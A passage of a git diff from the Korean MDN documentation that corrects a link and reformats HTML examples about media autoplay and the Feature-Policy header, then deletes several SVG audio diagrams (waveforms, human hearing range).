-지금까지 설명한 브라우저 측의 자동 재생 관리 및 처리 기능도 있지만, 웹 서버도 자동 재생 여부를 결정할 수 있습니다. {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} 헤더의 [`autoplay`](/en-US/docs/Web/HTTP/Headers/Feature-Policy/autoplay) 디렉티브가 해당 용도입니다. 존재만 하면 자동 재생할 때 쓸 수 있습니다. 기본적으로 `autoplay`의 allowlist는 `'self'` (_홑따옴표 포함_)이며, 현재 문서와 동일한 domain에만 허용하고 있습니다.
+지금까지 설명한 브라우저 측의 자동 재생 관리 및 처리 기능도 있지만, 웹 서버도 자동 재생 여부를 결정할 수 있습니다. {{Glossary("HTTP")}} {{HTTPHeader("Feature-Policy")}} 헤더의 [`autoplay`](/ko/docs/Web/HTTP/Headers/Feature-Policy/autoplay) 디렉티브가 해당 용도입니다. 존재만 하면 자동 재생할 때 쓸 수 있습니다. 기본적으로 `autoplay`의 allowlist는 `'self'` (_홑따옴표 포함_)이며, 현재 문서와 동일한 domain에만 허용하고 있습니다.
 
 `'none'`으로 지정하여 전역으로 자동 재생을 막을 수 있습니다. `'*'` 는 모든 도메인에서 전송된 미디어를 자동 재생하도록 허용합니다. 오리진은 하나의 space 문자로 구분 됩니다.
 
@@ -172,9 +175,7 @@ Feature-Policy: autoplay 'self'
 {{HTMLElement("iframe")}}에서 동일한 작업을 합니다:
 
 ```html
-<iframe src="mediaplayer.html"
-        allow="autoplay 'src'">
-</iframe>
+<iframe src="mediaplayer.html" allow="autoplay 'src'"> </iframe>
 ```
 
 ### 예시: 전체 화면에서 자동 재생 허용
@@ -188,9 +189,7 @@ Feature-Policy: autoplay 'self'; fullscreen
 `<iframe>` 엘리먼트의 `allow` 프로퍼티를 통해서 동일한 작업을 하면 아래와 같습니다:
 
 ```html
-<iframe src="mediaplayer.html"
-        allow="autoplay 'src'; fullscreen">
-</iframe>
+<iframe src="mediaplayer.html" allow="autoplay 'src'; fullscreen"> </iframe>
 ```
 
 ### 예시: 특정 리소스만 자동 재생 허용
@@ -204,9 +203,11 @@ Feature-Policy: autoplay 'self' https://example.media
 그리하여 {{HTMLElement("iframe")}} 역시 자신과 자식 프레임에서 자동 재생 정책을 사용하기 위해 아래와 같이 작성할 수 있습니다:
 
 ```html
-<iframe width="300" height="200"
-        src="mediaplayer.html"
-        allow="autoplay 'src' https://example.media">
+<iframe
+  width="300"
+  height="200"
+  src="mediaplayer.html"
+  allow="autoplay 'src' https://example.media">
 </iframe>
 ```
 
@@ -221,9 +222,7 @@ Feature-Policy: autoplay 'none'
 `<iframe>`의 `allow` 어트리뷰트를 쓴다면:
 
 ```html
-<iframe src="mediaplayer.html"
-        allow="autoplay 'none'">
-</iframe>
+<iframe src="mediaplayer.html" allow="autoplay 'none'"> </iframe>
 ```
 
 ## 유용한 사례
@@ -235,7 +234,7 @@ Feature-Policy: autoplay 'none'
 자동 재생하는 대표적인 케이스는 본문이나 광고 또는 페이지의 메인 기능에 대한 프리뷰로써 짧은 비디오 클립을 자동으로 재생하는 경우입니다. 이 경우 두 가지 선택지가 있습니다: 오디오가 없는 비디오를 재생하거나, 오디오가 있어도 기본적으로 음소거하거나, 아래처럼요:
 
 ```html
-<video src="/videos/awesomevid.webm" controls autoplay muted>
+<video src="/videos/awesomevid.webm" controls autoplay muted></video>
 ```
 
 이 비디오 엘리먼트는 user control 어트리뷰트가 설정되어 있습니다 (보통 재생/일시정지, 비디오 타임라인 탐색, 볼륨 컨트롤, 음소거 등); 또한 {{htmlattrxref("muted", "video")}} 어트리뷰트가 포함되어 있어 자동 재생 되지만 음소거 상태입니다. 하지만 사용자는 볼륨 버튼을 클릭하여 음소거를 해제할 수 있죠.
diff --git a/files/ko/web/media/formats/audio_concepts/audio-waveform-samples1.svg b/files/ko/web/media/formats/audio_concepts/audio-waveform-samples1.svg
deleted file mode 100644
index 942bffe8dbc186..00000000000000
--- a/files/ko/web/media/formats/audio_concepts/audio-waveform-samples1.svg
+++ /dev/null
@@ -1,15 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="200.237 272 691.184 287" width="691.184" height="287"><defs><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="a" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-1 -3 7 6" markerWidth="7" markerHeight="6" color="#ff2600"><path d="M4.8 0 0-1.8v3.6z" fill="currentColor" stroke="currentColor"/></marker><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="b" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-1 -3 6 6" markerWidth="6" markerHeight="6" color="#ff2600"><circle cx="1.8" r="1.8" fill="currentColor" stroke="currentColor"/></marker><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="c" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-5 -3 6 6" markerWidth="6" markerHeight="6" color="#ff2600"><circle cx="-1.8" r="1.8" fill="currentColor" stroke="currentColor"/></marker></defs><g fill="none"><path d="M288 416c3.127-11.099 6.293-22.659 9.383-33.299 3.09-10.64 6.071-20.977 9.162-30.548 3.091-9.571 6.259-19.144 9.387-26.882 3.127-7.739 6.255-14.104 9.383-19.552 3.128-5.447 6.295-10.183 9.386-13.136 3.09-2.953 6.068-4.633 9.159-4.582 3.09.051 6.258 1.936 9.386 4.888 3.128 2.953 6.255 7.332 9.383 12.83 3.128 5.499 6.295 12.425 9.387 20.163 3.09 7.738 6.071 16.75 9.162 26.27 3.09 9.52 6.255 20.215 9.383 30.855 3.127 10.64 6.256 21.996 9.383 32.993m.112 0c3.127 11.099 6.293 22.659 9.383 33.299 3.09 10.64 6.072 20.977 9.162 30.548 3.09 9.571 6.256 19.144 9.383 26.882 3.128 7.739 6.259 14.104 9.387 19.552 3.128 5.447 6.292 10.182 9.383 13.135 3.09 2.953 6.071 4.634 9.162 4.583 3.09-.051 6.255-1.936 9.383-4.889 3.128-2.953 6.258-7.331 9.386-12.83 3.129-5.498 6.296-12.424 9.387-20.162 3.09-7.738 6.068-16.75 9.159-26.27 3.09-9.52 6.258-20.215 9.386-30.855 3.128-10.64 6.256-21.996 9.383-32.993m0 0c1.34-8.324 2.697-16.994 4.021-24.974 1.325-7.98 2.602-15.733 3.927-22.911 1.325-7.179 2.682-14.359 4.023-20.162 1.34-5.804 2.68-10.578 4.021-14.663 1.34-4.086 2.698-7.638 4.023-9.853 1.324-2.214 2.6-3.474 3.925-3.436 1.325.038 2.682 1.451 4.023 3.666 1.34 2.215 2.68 5.499 4.021 9.623 1.34 4.123 2.698 9.318 4.023 15.122 1.324 5.803 2.602 12.563 3.926 19.703 1.325 7.14 2.681 15.16 4.022 23.14 1.34 7.98 2.68 16.498 4.021 24.745m.048 0c1.34 8.324 2.697 16.994 4.021 24.974 1.325 7.98 2.602 15.733 3.927 22.911 1.325 7.179 2.68 14.359 4.021 20.162 1.34 5.804 2.683 10.578 4.023 14.663 1.34 4.086 2.697 7.637 4.021 9.852 1.325 2.214 2.602 3.475 3.927 3.437 1.324-.038 2.68-1.452 4.021-3.667 1.34-2.214 2.682-5.498 4.023-9.621 1.34-4.124 2.698-9.32 4.023-15.123 1.324-5.803 2.6-12.563 3.925-19.703 1.324-7.14 2.682-15.16 4.023-23.14 1.34-7.98 2.68-16.498 4.021-24.745m0 0c1.005-5.55 2.023-11.33 3.016-16.65.993-5.32 1.951-10.488 2.945-15.274.994-4.785 2.012-9.572 3.017-13.44 1.005-3.87 2.01-7.053 3.016-9.776 1.005-2.724 2.024-5.092 3.017-6.568.993-1.477 1.95-2.317 2.944-2.291.993.025 2.012.967 3.017 2.444 1.005 1.476 2.01 3.666 3.016 6.415 1.005 2.749 2.023 6.212 3.017 10.081.994 3.87 1.952 8.375 2.945 13.135.993 4.76 2.01 10.107 3.016 15.427 1.005 5.32 2.01 10.999 3.016 16.497m.036 0c1.005 5.55 2.023 11.33 3.016 16.65.993 5.32 1.952 10.488 2.945 15.274.993 4.785 2.01 9.572 3.016 13.44 1.005 3.87 2.012 7.053 3.017 9.776 1.005 2.724 2.023 5.092 3.016 6.568.993 1.476 1.952 2.317 2.945 2.291.993-.025 2.01-.968 3.016-2.444 1.005-1.476 2.011-3.666 3.017-6.415 1.006-2.749 2.024-6.212 3.017-10.081.993-3.87 1.95-8.375 2.944-13.135.993-4.76 2.012-10.107 3.017-15.427S678.994 421.498 680 416m0 0c.782-2.775 1.573-5.665 2.346-8.325.772-2.66 1.518-5.244 2.29-7.637.773-2.392 1.565-4.786 2.347-6.72.782-1.935 1.564-3.526 2.346-4.888s1.574-2.546 2.346-3.284c.773-.738 1.517-1.158 2.29-1.146.773.013 1.565.484 2.347 1.222.781.739 1.563 1.833 2.345 3.208.782 1.374 1.574 3.106 2.347 5.04.773 1.935 1.518 4.188 2.29 6.568.773 2.38 1.564 5.054 2.346 7.714s1.564 5.499 2.346 8.248m.028 0c.782 2.775 1.573 5.665 2.346 8.325.772 2.66 1.518 5.244 2.29 7.637.773 2.392 1.564 4.786 2.346 6.72.782 1.935 1.565 3.526 2.347 4.888s1.573 2.546 2.345 3.284c.773.738 1.518 1.158 2.291 1.146.773-.013 1.564-.484 2.346-1.223.782-.738 1.564-1.832 2.346-3.207.782-1.374 1.574-3.106 2.347-5.04.772-1.935 1.517-4.188 2.29-6.568.772-2.38 1.564-5.054 2.346-7.714S735.218 418.75 736 416m0 0c1.005-6.937 2.023-14.162 3.016-20.812.993-6.65 1.951-13.11 2.945-19.093.994-5.981 2.012-11.965 3.017-16.8 1.005-4.837 2.01-8.816 3.016-12.22 1.005-3.405 2.024-6.365 3.017-8.21.993-1.846 1.95-2.896 2.944-2.864.993.032 2.012 1.21 3.017 3.055 1.005 1.845 2.01 4.582 3.016 8.019 1.005 3.436 2.023 7.765 3.017 12.601.994 4.837 1.952 10.47 2.945 16.42.993 5.95 2.01 12.633 3.016 19.283 1.005 6.65 2.01 13.748 3.016 20.621m.036 0c1.005 6.937 2.023 14.162 3.016 20.812.993 6.65 1.952 13.11 2.945 19.093.993 5.981 2.01 11.965 3.016 16.8 1.005 4.837 2.012 8.816 3.017 12.22 1.005 3.405 2.023 6.364 3.016 8.21.993 1.845 1.952 2.896 2.945 2.864.993-.032 2.01-1.21 3.016-3.055 1.005-1.846 2.011-4.582 3.017-8.019 1.006-3.436 2.024-7.765 3.017-12.601.993-4.837 1.95-10.47 2.944-16.42.993-5.95 2.012-12.633 3.017-19.283 1.005-6.65 2.01-13.748 3.016-20.621" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><path marker-end="url(#a)" stroke="#ff2600" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M288 416h531.1"/><path marker-end="url(#b)" marker-start="url(#c)" stroke="#ff2600" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M288 291.6v248.8"/><g fill="#ff2600"><text transform="translate(269 405)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">0</tspan>
-          </text><text transform="translate(237 277)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">+1.0</tspan>
-          </text><text transform="translate(239.914 533)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">-1.0</tspan>
-          </text><text transform="translate(237 341)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">+0.5</tspan>
-          </text><text transform="translate(242.828 469)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">-0.5</tspan>
-          </text></g><text transform="rotate(-90 336.737 131.5)" fill="#ff2600">
-          <tspan font-family="Verdana" font-size="18" font-weight="700" x="0" y="18">Amplitude</tspan>
-        </text><text transform="translate(837 405)" fill="#ff2600">
-          <tspan font-family="Verdana" font-size="18" font-weight="700" x="0" y="18">Time</tspan>
-        </text><path stroke="#0096ff" stroke-linecap="round" stroke-width="3" d="M288 352h33m-1-60.6h33m-1 28.6h33m-1 96h33m-1 100.25h33m-1 24h33m-1-70h33m-1-137.2h33m-1 83.7h33M576 504h33m-1-151h33m-1 119h33m-1-81.25h33m-1 57.75h33m-1-111h33M768 486h33m-1-65.25h33M320 291.4l1 60.6m32-60.6-1 28.6m33 0-1 96m33 0-1 100.25m33 0-1 24m33 0-1-70m33 0-1-137.2m33 0-1 83.7m33 0L576 504m33 0-1-151m33 0-1 119m33 0-1-81.25m33 0-1 57.75m33 0-1-111m33 0L768 486m33 0-1-65.25"/></g></svg>
\ No newline at end of file
diff --git a/files/ko/web/media/formats/audio_concepts/audio-waveform.svg b/files/ko/web/media/formats/audio_concepts/audio-waveform.svg
deleted file mode 100644
index a3834a30ab66d0..00000000000000
--- a/files/ko/web/media/formats/audio_concepts/audio-waveform.svg
+++ /dev/null
@@ -1,15 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" viewBox="200.237 272 691.184 287" width="691.184" height="287"><defs><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="a" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-1 -3 7 6" markerWidth="7" markerHeight="6" color="#ff2600"><path d="M4.8 0 0-1.8v3.6z" fill="currentColor" stroke="currentColor"/></marker><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="b" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-1 -3 6 6" markerWidth="6" markerHeight="6" color="#ff2600"><circle cx="1.8" r="1.8" fill="currentColor" stroke="currentColor"/></marker><marker orient="auto" overflow="visible" markerUnits="strokeWidth" id="c" stroke-linejoin="miter" stroke-miterlimit="10" viewBox="-5 -3 6 6" markerWidth="6" markerHeight="6" color="#ff2600"><circle cx="-1.8" r="1.8" fill="currentColor" stroke="currentColor"/></marker></defs><g fill="none"><path d="M288 416c3.127-11.099 6.293-22.659 9.383-33.299 3.09-10.64 6.071-20.977 9.162-30.548 3.091-9.571 6.259-19.144 9.387-26.882 3.127-7.739 6.255-14.104 9.383-19.552 3.128-5.447 6.295-10.183 9.386-13.136 3.09-2.953 6.068-4.633 9.159-4.582 3.09.051 6.258 1.936 9.386 4.888 3.128 2.953 6.255 7.332 9.383 12.83 3.128 5.499 6.295 12.425 9.387 20.163 3.09 7.738 6.071 16.75 9.162 26.27 3.09 9.52 6.255 20.215 9.383 30.855 3.127 10.64 6.256 21.996 9.383 32.993m.112 0c3.127 11.099 6.293 22.659 9.383 33.299 3.09 10.64 6.072 20.977 9.162 30.548 3.09 9.571 6.256 19.144 9.383 26.882 3.128 7.739 6.259 14.104 9.387 19.552 3.128 5.447 6.292 10.182 9.383 13.135 3.09 2.953 6.071 4.634 9.162 4.583 3.09-.051 6.255-1.936 9.383-4.889 3.128-2.953 6.258-7.331 9.386-12.83 3.129-5.498 6.296-12.424 9.387-20.162 3.09-7.738 6.068-16.75 9.159-26.27 3.09-9.52 6.258-20.215 9.386-30.855 3.128-10.64 6.256-21.996 9.383-32.993m0 0c1.34-8.324 2.697-16.994 4.021-24.974 1.325-7.98 2.602-15.733 3.927-22.911 1.325-7.179 2.682-14.359 4.023-20.162 1.34-5.804 2.68-10.578 4.021-14.663 1.34-4.086 2.698-7.638 4.023-9.853 1.324-2.214 2.6-3.474 3.925-3.436 1.325.038 2.682 1.451 4.023 3.666 1.34 2.215 2.68 5.499 4.021 9.623 1.34 4.123 2.698 9.318 4.023 15.122 1.324 5.803 2.602 12.563 3.926 19.703 1.325 7.14 2.681 15.16 4.022 23.14 1.34 7.98 2.68 16.498 4.021 24.745m.048 0c1.34 8.324 2.697 16.994 4.021 24.974 1.325 7.98 2.602 15.733 3.927 22.911 1.325 7.179 2.68 14.359 4.021 20.162 1.34 5.804 2.683 10.578 4.023 14.663 1.34 4.086 2.697 7.637 4.021 9.852 1.325 2.214 2.602 3.475 3.927 3.437 1.324-.038 2.68-1.452 4.021-3.667 1.34-2.214 2.682-5.498 4.023-9.621 1.34-4.124 2.698-9.32 4.023-15.123 1.324-5.803 2.6-12.563 3.925-19.703 1.324-7.14 2.682-15.16 4.023-23.14 1.34-7.98 2.68-16.498 4.021-24.745m0 0c1.005-5.55 2.023-11.33 3.016-16.65.993-5.32 1.951-10.488 2.945-15.274.994-4.785 2.012-9.572 3.017-13.44 1.005-3.87 2.01-7.053 3.016-9.776 1.005-2.724 2.024-5.092 3.017-6.568.993-1.477 1.95-2.317 2.944-2.291.993.025 2.012.967 3.017 2.444 1.005 1.476 2.01 3.666 3.016 6.415 1.005 2.749 2.023 6.212 3.017 10.081.994 3.87 1.952 8.375 2.945 13.135.993 4.76 2.01 10.107 3.016 15.427 1.005 5.32 2.01 10.999 3.016 16.497m.036 0c1.005 5.55 2.023 11.33 3.016 16.65.993 5.32 1.952 10.488 2.945 15.274.993 4.785 2.01 9.572 3.016 13.44 1.005 3.87 2.012 7.053 3.017 9.776 1.005 2.724 2.023 5.092 3.016 6.568.993 1.476 1.952 2.317 2.945 2.291.993-.025 2.01-.968 3.016-2.444 1.005-1.476 2.011-3.666 3.017-6.415 1.006-2.749 2.024-6.212 3.017-10.081.993-3.87 1.95-8.375 2.944-13.135.993-4.76 2.012-10.107 3.017-15.427S678.994 421.498 680 416m0 0c.782-2.775 1.573-5.665 2.346-8.325.772-2.66 1.518-5.244 2.29-7.637.773-2.392 1.565-4.786 2.347-6.72.782-1.935 1.564-3.526 2.346-4.888s1.574-2.546 2.346-3.284c.773-.738 1.517-1.158 2.29-1.146.773.013 1.565.484 2.347 1.222.781.739 1.563 1.833 2.345 3.208.782 1.374 1.574 3.106 2.347 5.04.773 1.935 1.518 4.188 2.29 6.568.773 2.38 1.564 5.054 2.346 7.714s1.564 5.499 2.346 8.248m.028 0c.782 2.775 1.573 5.665 2.346 8.325.772 2.66 1.518 5.244 2.29 7.637.773 2.392 1.564 4.786 2.346 6.72.782 1.935 1.565 3.526 2.347 4.888s1.573 2.546 2.345 3.284c.773.738 1.518 1.158 2.291 1.146.773-.013 1.564-.484 2.346-1.223.782-.738 1.564-1.832 2.346-3.207.782-1.374 1.574-3.106 2.347-5.04.772-1.935 1.517-4.188 2.29-6.568.772-2.38 1.564-5.054 2.346-7.714S735.218 418.75 736 416m0 0c1.005-6.937 2.023-14.162 3.016-20.812.993-6.65 1.951-13.11 2.945-19.093.994-5.981 2.012-11.965 3.017-16.8 1.005-4.837 2.01-8.816 3.016-12.22 1.005-3.405 2.024-6.365 3.017-8.21.993-1.846 1.95-2.896 2.944-2.864.993.032 2.012 1.21 3.017 3.055 1.005 1.845 2.01 4.582 3.016 8.019 1.005 3.436 2.023 7.765 3.017 12.601.994 4.837 1.952 10.47 2.945 16.42.993 5.95 2.01 12.633 3.016 19.283 1.005 6.65 2.01 13.748 3.016 20.621m.036 0c1.005 6.937 2.023 14.162 3.016 20.812.993 6.65 1.952 13.11 2.945 19.093.993 5.981 2.01 11.965 3.016 16.8 1.005 4.837 2.012 8.816 3.017 12.22 1.005 3.405 2.023 6.364 3.016 8.21.993 1.845 1.952 2.896 2.945 2.864.993-.032 2.01-1.21 3.016-3.055 1.005-1.846 2.011-4.582 3.017-8.019 1.006-3.436 2.024-7.765 3.017-12.601.993-4.837 1.95-10.47 2.944-16.42.993-5.95 2.012-12.633 3.017-19.283 1.005-6.65 2.01-13.748 3.016-20.621" stroke="#000" stroke-linecap="round" stroke-linejoin="round"/><path marker-end="url(#a)" stroke="#ff2600" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M288 416h531.1"/><path marker-end="url(#b)" marker-start="url(#c)" stroke="#ff2600" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M288 291.6v248.8"/><g fill="#ff2600"><text transform="translate(269 405)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">0</tspan>
-          </text><text transform="translate(237 277)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">+1.0</tspan>
-          </text><text transform="translate(239.914 533)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">-1.0</tspan>
-          </text><text transform="translate(237 341)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">+0.5</tspan>
-          </text><text transform="translate(242.828 469)">
-            <tspan font-family="Verdana" font-size="16" font-weight="400" x="0" y="16">-0.5</tspan>
-          </text></g><text transform="rotate(-90 336.737 131.5)" fill="#ff2600">
-          <tspan font-family="Verdana" font-size="18" font-weight="700" x="0" y="18">Amplitude</tspan>
-        </text><text transform="translate(837 405)" fill="#ff2600">
-          <tspan font-family="Verdana" font-size="18" font-weight="700" x="0" y="18">Time</tspan>
-        </text></g></svg>
\ No newline at end of file
diff --git a/files/ko/web/media/formats/audio_concepts/human-hearing-range.svg b/files/ko/web/media/formats/audio_concepts/human-hearing-range.svg
deleted file mode 100644
index f6d10dfccfe999..00000000000000
--- a/files/ko/web/media/formats/audio_concepts/human-hearing-range.svg
+++ /dev/null
@@ -1,17 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="595.896" height="127.507" viewBox="0 0 1191.792 255.014"><defs><clipPath id="b"><path d="M378.974 290.045h370.893v41.372H378.974zm139.093 10.067h-2.021v2.325h2.021v-2.325zm31.524 4.538h-2.302v2.302h2.302v-2.302zm81.814 4.952h-6.21v2.033h6.21v-2.033zm-243.252-9.49h-2.179v16.464h2.179v-7.76h8.558v7.76h2.178v-16.464h-2.178v6.761h-8.558v-6.761zm39.374 4.268q-2.268 0-3.684 2.089-.348-.988-1.196-1.539-.847-.55-2.173-.55-1.19 0-2.122.534-.932.533-1.494 1.409v-1.673h-1.808v11.926h2.021l.001-6.188q0-1.628.325-2.493.326-.864 1.05-1.314.725-.449 1.578-.449 1.123 0 1.617.674t.494 2.021v7.749h2.022v-6.929q0-1.842.831-2.678.831-.837 2.089-.837.696 0 1.213.326.516.325.713.859.196.533.196 1.746v7.513h2.011v-8.187q0-2.044-.955-3.026-.955-.983-2.729-.983zm25.089 0q-2.482 0-3.796 1.965v-1.695h-1.819v11.926h2.021v-6.513q0-2.291.938-3.111.938-.82 2.229-.82.809 0 1.41.365.6.365.836.977t.236 1.848v7.254h2.022v-7.333q0-1.404-.113-1.965-.179-.865-.629-1.494-.449-.629-1.353-1.016-.904-.388-1.982-.388zm16.071-4.268h-2.179v16.464h2.179v-7.76h8.557v7.76h2.179v-16.464h-2.179v6.761h-8.557v-6.761zm44.068 4.268q-.707 0-1.297.404-.59.405-1.286 1.674v-1.808h-1.819v11.926h2.021v-6.244q0-1.28.337-2.358.225-.708.753-1.106.527-.399 1.19-.399.741 0 1.482.438l.697-1.876q-1.056-.651-2.078-.651zm5.312.27h-2.021v11.926h2.021V304.65zm8.692-.27q-2.481 0-3.795 1.965v-1.695h-1.82v11.926h2.022v-6.513q0-2.291.937-3.111.938-.82 2.23-.82.808 0 1.409.365t.837.977q.236.612.236 1.848v7.254h2.021v-7.333q0-1.404-.112-1.965-.18-.865-.629-1.494t-1.353-1.016q-.904-.388-1.983-.388zm22.832 9.894h-2.302v2.302h2.302v-2.302zm14.824-14.229q-2.347 0-3.74 1.219-1.392 1.218-1.605 3.543l2.077.213q.011-1.55.887-2.426.876-.875 2.336-.875 1.382 0 2.241.825.859.825.859 2.027 0 1.146-.943 2.431-.944 1.286-3.628 3.488-1.729 1.415-2.645 2.493-.915 1.078-1.33 2.19-.259.673-.236 1.403h10.882v-1.942h-8.075q.337-.551.854-1.095.516-.545 2.336-2.072 2.178-1.842 3.116-2.898.938-1.056 1.342-2.01.405-.955.405-1.943 0-1.943-1.382-3.257-1.381-1.314-3.751-1.314zm29.57.067h-2.179v16.464h2.179v-7.76h8.558v7.76h2.178v-16.464h-2.178v6.761h-8.558v-6.761zm23.236 4.538h-9.748v1.639h4.863q.988 0 2.279-.067l-7.591 8.715v1.639h10.556v-1.74h-5.514q-1.19 0-2.549.101l1.246-1.382 6.458-7.569v-1.336zm27.717-4.605q-2.347 0-3.74 1.219-1.393 1.218-1.606 3.543l2.078.213q.011-1.55.887-2.426.876-.875 2.336-.875 1.381 0 2.24.825.859.825.859 2.027 0 1.146-.943 2.431-.943 1.286-3.627 3.488-1.73 1.415-2.645 2.493-.915 1.078-1.331 2.19-.258.673-.236 1.403h10.882v-1.942h-8.074q.337-.551.853-1.095.517-.545 2.336-2.072 2.179-1.842 3.117-2.898.937-1.056 1.342-2.01.404-.955.404-1.943 0-1.943-1.381-3.257-1.382-1.314-3.751-1.314zm74.334.067h-2.179v16.464h2.179v-7.76h8.558v7.76h2.178v-16.464h-2.178v6.761h-8.558v-6.761zm23.236 4.538h-9.748v1.639h4.863q.988 0 2.28-.067l-7.592 8.715v1.639h10.556v-1.74h-5.514q-1.19 0-2.549.101l1.246-1.382 6.458-7.569v-1.336zm-338.273 0h-2.021v7.389q0 1.292.123 1.887.18.887.623 1.499.444.612 1.359 1.017.916.404 1.971.404 2.392 0 3.785-2.022v1.752h1.808V304.65h-2.021v6.39q0 1.527-.332 2.33-.331.803-1.128 1.269-.798.466-1.707.466-.91 0-1.528-.455-.617-.454-.808-1.252-.124-.55-.124-2.134v-6.614zm37.588 5.941v.741q0 1.336-.325 2.021-.427.887-1.337 1.398-.909.511-2.077.511-1.179 0-1.792-.539-.612-.539-.612-1.347 0-.528.281-.96.281-.433.798-.657.516-.225 1.763-.405 2.201-.314 3.301-.763zm-2.571-6.211q-1.539 0-2.707.421t-1.786 1.202q-.617.78-.887 2.049l1.977.27q.326-1.269 1.005-1.769.679-.5 2.106-.5 1.527 0 2.302.686.573.505.573 1.74 0 .113-.012.528-1.156.404-3.605.696-1.201.146-1.796.304-.809.224-1.455.662-.645.438-1.044 1.163-.399.724-.399 1.6 0 1.494 1.056 2.454 1.055.96 3.021.96 1.19 0 2.229-.393 1.039-.393 2.162-1.348.09.843.404 1.471h2.112q-.382-.685-.511-1.431-.13-.747-.13-3.566v-2.695q0-1.348-.101-1.865-.179-.831-.629-1.375-.449-.545-1.403-.904-.955-.36-2.482-.36zm48.459 1.662q1.539 0 2.505 1.168.628.753.763 2.257l-6.659.001q.101-1.562 1.05-2.494.949-.932 2.341-.932zm-.022-1.662q-2.471 0-4.021 1.662-1.55 1.662-1.55 4.672 0 2.909 1.533 4.52 1.533 1.612 4.15 1.612 2.078 0 3.414-1.011 1.336-1.011 1.831-2.841l-2.089-.258q-.461 1.28-1.247 1.864-.786.584-1.898.584-1.493 0-2.493-1.045-.999-1.044-1.112-3.009h8.895q.011-.36.011-.539 0-2.954-1.516-4.582-1.516-1.629-3.908-1.629zm15.509 6.211v.741q0 1.336-.326 2.021-.426.887-1.336 1.398-.91.511-2.078.511-1.179 0-1.791-.539-.612-.539-.612-1.347 0-.528.281-.96.28-.433.797-.657.517-.225 1.763-.405 2.201-.314 3.302-.763zm-2.572-6.211q-1.538 0-2.706.421t-1.786 1.202q-.618.78-.887 2.049l1.976.27q.326-1.269 1.005-1.769.68-.5 2.106-.5 1.528 0 2.302.686.573.505.573 1.74 0 .113-.011.528-1.157.404-3.605.696-1.202.146-1.797.304-.808.224-1.454.662-.646.438-1.045 1.163-.398.724-.398 1.6 0 1.494 1.055 2.454 1.056.96 3.021.96 1.191 0 2.23-.393 1.038-.393 2.161-1.348.09.843.405 1.471h2.111q-.382-.685-.511-1.431-.129-.747-.129-3.566v-2.695q0-1.348-.101-1.865-.18-.831-.629-1.375-.449-.545-1.404-.904-.954-.36-2.482-.36zm76.457-2.661q1.415 0 2.364 1.336.949 1.336.949 5.402 0 4.043-.949 5.39-.949 1.348-2.341 1.348-1.393 0-2.342-1.342-.949-1.342-.949-5.396t1.045-5.559q.831-1.179 2.223-1.179zm.023-1.674q-1.797 0-2.982.966-1.185.966-1.786 2.746t-.601 4.7q0 4.638 1.629 6.693 1.359 1.707 3.74 1.707 1.808 0 2.993-.971 1.184-.972 1.78-2.752.595-1.78.595-4.677 0-2.448-.371-3.892-.37-1.443-1.022-2.448-.651-1.005-1.651-1.538-.999-.534-2.324-.534zm80.5 1.674q1.415 0 2.364 1.336.949 1.336.949 5.402 0 4.043-.949 5.39-.949 1.348-2.342 1.348-1.392 0-2.341-1.342-.949-1.342-.949-5.396t1.044-5.559q.831-1.179 2.224-1.179zm.022-1.674q-1.797 0-2.982.966-1.184.966-1.785 2.746t-.601 4.7q0 4.638 1.628 6.693 1.359 1.707 3.74 1.707 1.808 0 2.993-.971 1.185-.972 1.78-2.752.595-1.78.595-4.677 0-2.448-.37-3.892-.371-1.443-1.022-2.448-.652-1.005-1.651-1.538-1-.534-2.325-.534zm19.159 1.674q1.415 0 2.364 1.336.949 1.336.949 5.402 0 4.043-.949 5.39-.949 1.348-2.341 1.348-1.393 0-2.342-1.342-.949-1.342-.949-5.396t1.045-5.559q.831-1.179 2.223-1.179zm.023-1.674q-1.797 0-2.982.966-1.185.966-1.786 2.746-.6 1.78-.6 4.7 0 4.638 1.628 6.693 1.359 1.707 3.74 1.707 1.808 0 2.993-.971 1.184-.972 1.78-2.752.595-1.78.595-4.677 0-2.448-.371-3.892-.37-1.443-1.022-2.448-.651-1.005-1.651-1.538-.999-.534-2.324-.534zm12.769 1.674q1.415 0 2.364 1.336.949 1.336.949 5.402 0 4.043-.949 5.39-.949 1.348-2.342 1.348-1.392 0-2.341-1.342-.949-1.342-.949-5.396t1.044-5.559q.831-1.179 2.224-1.179zm.022-1.674q-1.797 0-2.981.966-1.185.966-1.786 2.746t-.601 4.7q0 4.638 1.629 6.693 1.358 1.707 3.739 1.707 1.808 0 2.993-.971 1.185-.972 1.78-2.752.595-1.78.595-4.677 0-2.448-.37-3.892-.371-1.443-1.022-2.448-.652-1.005-1.651-1.538-1-.534-2.325-.534zm12.769 1.674q1.415 0 2.364 1.336.949 1.336.949 5.402 0 4.043-.949 5.39-.949 1.348-2.341 1.348-1.393 0-2.342-1.342-.949-1.342-.949-5.396t1.045-5.559q.831-1.179 2.223-1.179zm.023-1.674q-1.797 